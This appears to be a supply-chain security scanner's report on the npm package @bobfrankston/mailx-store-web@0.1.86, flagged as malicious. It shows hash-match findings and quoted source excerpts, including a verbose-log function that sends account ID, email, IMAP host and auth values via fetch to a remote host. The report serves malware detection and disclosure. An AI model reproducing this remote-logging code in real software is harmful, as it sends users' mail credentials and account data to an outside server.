@bobfrankston/mailx-store-web@0.1.86: Malicious npm security | LPM Firewall

Loading npm security reports…

@bobfrankston/mailx-store-web@0.1.86: Malicious npm security | LPM Firewall

Source & flagged code

5 flagged · loading source

worker-bundle.jsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/mailx-store-web@0.1.84 matchedPath = worker-bundle.js matchedIdentity = npm:[redacted]:0.1.84 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

worker-bundle.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = e1734c4f68f337b9 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @bobfrankston/mailx-store-web@0.1.84 matchedPath = worker-bundle.js matchedIdentity = npm:[redacted]:0.1.84 similarity = 1.000 shingleOverlap = 11 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

worker-bundle.jsView on unpkg

sync-manager.jsView file

30async addAccount(account) { this.deps.vlog(`addAccount id=${account.id} email=${account.email} host=${account.imap?.host} auth=${account.imap?.auth}`); this.db.upsertAccount(account.id, account.name, account.email, JSON.stringify(account));

High

Ai Review Evidence

Account registration logs account ID, email, IMAP host, and auth value through that logger.

sync-manager.jsView on unpkg · L30

worker-entry.jsView file

151for (const account of accounts) { if (!account.enabled) continue; const domain = account.email?.split("@")[1]?.toLowerCase() || ""; if (domain === "gmail.com" || domain === "googlemail.com") { const tp = createTokenProvider(account.email); syncManager.setTokenProvider(account.id, tp); if (!gmailTokenProvider) gmailTokenProvider = tp; } await syncManager.addAccount(account); }

High

Ai Review Evidence

Worker initialization registers every enabled account, triggering the logging path.

worker-entry.jsView on unpkg · L151

android-bootstrap.jsView file

44/** Verbose log — goes to logit but doesn't clutter the screen (silent=true) */ function vlog(msg) { try { fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => { }); } catch { /* ignore */ } }

High

Ai Review Evidence

Android bootstrap repeats the same remote logging behavior.

android-bootstrap.jsView on unpkg · L44

Source & flagged code

5 flagged

worker-bundle.jsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/mailx-store-web@0.1.84 matchedPath = worker-bundle.js matchedIdentity = npm:[redacted]:0.1.84 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

worker-bundle.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = e1734c4f68f337b9 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @bobfrankston/mailx-store-web@0.1.84 matchedPath = worker-bundle.js matchedIdentity = npm:[redacted]:0.1.84 similarity = 1.000 shingleOverlap = 11 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

worker-bundle.jsView on unpkg

sync-manager.jsView file

Lines 10-50javascript

10import { GmailApiWebProvider } from "./gmail-api-web.js";

11import { ImapWebProvider } from "./imap-web-provider.js";

12import { SmtpClient } from "@bobfrankston/smtp-direct";

13import { storeBus } from "@bobfrankston/mailx-bus";

14function toEmailAddress(addr) {

15 return { name: addr?.name || "", address: addr?.address || "" };

16}

17export class SyncManager {

18 db;

19 bodyStore;

20 providers = new Map();

21 tokenProviders = new Map();

22 deps;

23 constructor(db, bodyStore, deps) {

24 this.db = db;

25 this.bodyStore = bodyStore;

26 this.deps = deps;

27 }

28 on(_event, _handler) { }

29 emit(event, ...args) { this.deps.emitEvent({ type: event, ...args[0] }); }

30 async addAccount(account) {

31 this.deps.vlog(`addAccount id=${account.id} email=${account.email} host=${account.imap?.host} auth=${account.imap?.auth}`);

32 this.db.upsertAccount(account.id, account.name, account.email, JSON.stringify(account));

High

Ai Review Evidence

Account registration logs account ID, email, IMAP host, and auth value through that logger.

sync-manager.jsView on unpkg · L30

33 if (this.isGmailAccount(account)) {

34 const tokenProvider = this.tokenProviders.get(account.id);

35 if (tokenProvider) {

36 this.providers.set(account.id, new GmailApiWebProvider(tokenProvider));

37 console.log(`[sync] ${account.id}: Gmail API provider registered`);

38 }

39 else {

40 console.warn(`[sync] ${account.id}: no token provider`);

41 }

42 }

43 else if (account.imap?.host && account.imap?.user) {

44 try {

45 const provider = new ImapWebProvider({

46 server: account.imap.host,

47 port: account.imap.port || 993,

48 username: account.imap.user,

49 password: account.imap.password,

50 inactivityTimeout: 300000,

worker-entry.jsView file

Lines 131-171javascript

131// ── Initialization ──

132async function initialize() {

133 console.log("[worker] Initializing service layer...");

134 // Wire up TCP proxy for IMAP/SMTP

135 initWorkerTcp(post);

136 // Initialize DB (wa-sqlite runs in this Worker thread — no main thread blocking)

android-bootstrap.jsView file

Lines 24-64javascript

24let bodyStore;

25let service;

26let syncManager;

27const eventHandlers = [];

28// ── Event emitter ──

29function emitEvent(event) {

30